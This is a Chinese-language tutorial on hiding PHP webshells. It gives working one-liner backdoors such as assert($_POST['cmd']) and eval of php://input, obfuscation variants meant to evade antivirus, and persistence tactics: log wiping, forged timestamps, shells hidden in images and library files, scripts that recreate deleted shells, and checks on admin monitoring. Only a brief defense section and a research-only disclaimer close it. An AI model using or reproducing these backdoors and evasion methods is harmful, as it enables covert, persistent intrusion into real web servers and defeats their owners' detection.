如何优雅的隐藏你的Webshell
字数 1271 2025-08-15 21:33:44
WebShell隐藏与免杀技术详解
一、WebShell执行方法
1. 直接执行
使用PHP函数直接运行命令:
@eval('echo 这是输出;');
system('whoami');
assert($_POST['cmd']);
2. 动态函数执行
将函数名作为字符串传递给变量:
$a = "phpinfo";
$a();
3. 文件包含执行
分文件执行命令:
// b.php
<?php @eval('echo 这是输出;');
// a.php
<?php include 'b.php';
4. 回调函数
使用array_map等回调函数:
$func = 'system';
$arr = array('whoami');
array_map($func, $arr);
5. PHP Curly语法
字符串中嵌入变量:
$a = 'p';
eval("{$a}hpinfo();");
6. PHP反序列化
利用反序列化漏洞:
class test{
public $a = "123";
public function __wakeup(){
eval($this->a);
}
}
unserialize('O:4:"test":1:{s:1:"a";s:10:"phpinfo();";}');
7. php://input方法
读取原始请求数据:
@eval(file_get_contents('php://input'));
8. preg_replace方法
利用/e修饰符执行代码:
echo preg_replace("/test/e", phpinfo(), "jutst test");
9. ob_start方法
输出缓冲控制:
$cmd = 'system';
ob_start($cmd);
echo "whoami";
ob_end_flush();
二、WebShell免杀技术
基础免杀技术
- 简单动态函数:
$a = "assert";
$b = $a;
$b($_POST['x']);
- 回调函数结合:
$fun = 'assert';
array_map($fun, array($_POST['x']));
中级免杀技术
- 变量间接引用:
$a = "assert";
$c = 'a';
$$
c($_POST['x']);
- 回调函数+变量间接引用:
$fun = 'assert';
$f = 'fun';
array_map(
$$
f, array($_POST['x']));
高级免杀技术
- 字符串分割重组:
function ass(){
$a = "a451.ass.aaa.ert.adaww";
$b = explode('.', $a);
$c = $b[1] . $b[3];
return $c;
}
$b = array($_POST['x']);
$c = ass();
array_map($c, $b);
- 复杂伪装:
function downloadFile($url, $x){
$ary = parse_url($url);
$file = basename($ary['path']);
$ext = explode('.', $file);
$exec1 = substr($ext[0], 3, 1);
$exec2 = substr($ext[0], 5, 1);
$exec3 = substr($ext[0], 5, 1);
$exec4 = substr($ext[0], 4, 1);
$exec5 = substr($ext[0], 7, 2);
$as[0] = $exec1 . $exec2 . $exec3 . $exec4 . $exec5;
$as[1] = $x;
return $as;
}
$a = $_POST['x'];
$s = downloadFile('http://www.baidu.com/asdaesfrtafga.txt', $a);
$b = $s[0];
$c = $s[1];
array_map($b, array($c));
三、WebShell隐藏技巧
-
日志清理:删除所有关于WebShell的访问记录和渗透造成的报错记录
-
时间戳伪装:
- Linux:
touch -r 正常文件 webshell.php - Windows: 使用工具修改文件时间属性
- Linux:
-
深层目录隐藏:
- 第三方工具插件目录
- 主题目录
- 编辑器图片目录
- 临时目录
-
配置文件隐藏:
- 将WebShell路径加入php.ini配置文件
-
静态文件+解析:
- 在静态文件中隐藏一句话
- 使用.htaccess规则解析
-
图片马包含:
- 上传精心构造的图片马
- 在正常脚本中包含图片马
-
代码插入:
- 将WebShell插入函数库文件
- 插入配置文件
- 插入不常改动的文件
-
代码审计利用:
- 审计目标代码
- 在原生代码中构造执行逻辑
四、WebShell最佳实践
-
函数选择:
- 避免使用敏感函数:eval, exec, system, passthru, shell_exec, assert
- 使用回调函数:call_user_func, call_user_func_array
-
命名规范:
- 避免明显名称:hack.php, sb.php, x.php
- 模仿周围文件名:如目录中有new.php,可命名news.php
-
大马处理:
- 去除所有注释和作者信息
- 修改intitle字段版本信息
- 去掉shell箱子地址
- 修改敏感字段如pass/password
-
多备份策略:
- 上传多个备用WebShell
- 分散在不同深层目录
- 使用不同名称和路径
-
自动化监控:
- 编写脚本定期检测WebShell是否存在
- 不存在则自动创建
-
防御对抗:
- 检查管理员的动态WebShell监测脚本
- 查看crontab任务
五、检测与防御建议
-
检测技术:
- 文件完整性监控
- 异常文件时间戳检测
- 敏感函数调用监控
- 正则表达式特征检测
-
防御措施:
- 禁用危险函数
- 严格文件上传控制
- 定期安全审计
- 实施最小权限原则
- 使用Web应用防火墙(WAF)
-
应急响应:
- 保留现场证据
- 分析攻击路径
- 全面系统检查
- 修复漏洞后彻底清理
通过以上技术的组合使用,可以显著提高WebShell的隐蔽性和存活时间,但请注意这些技术仅用于安全研究和防御目的。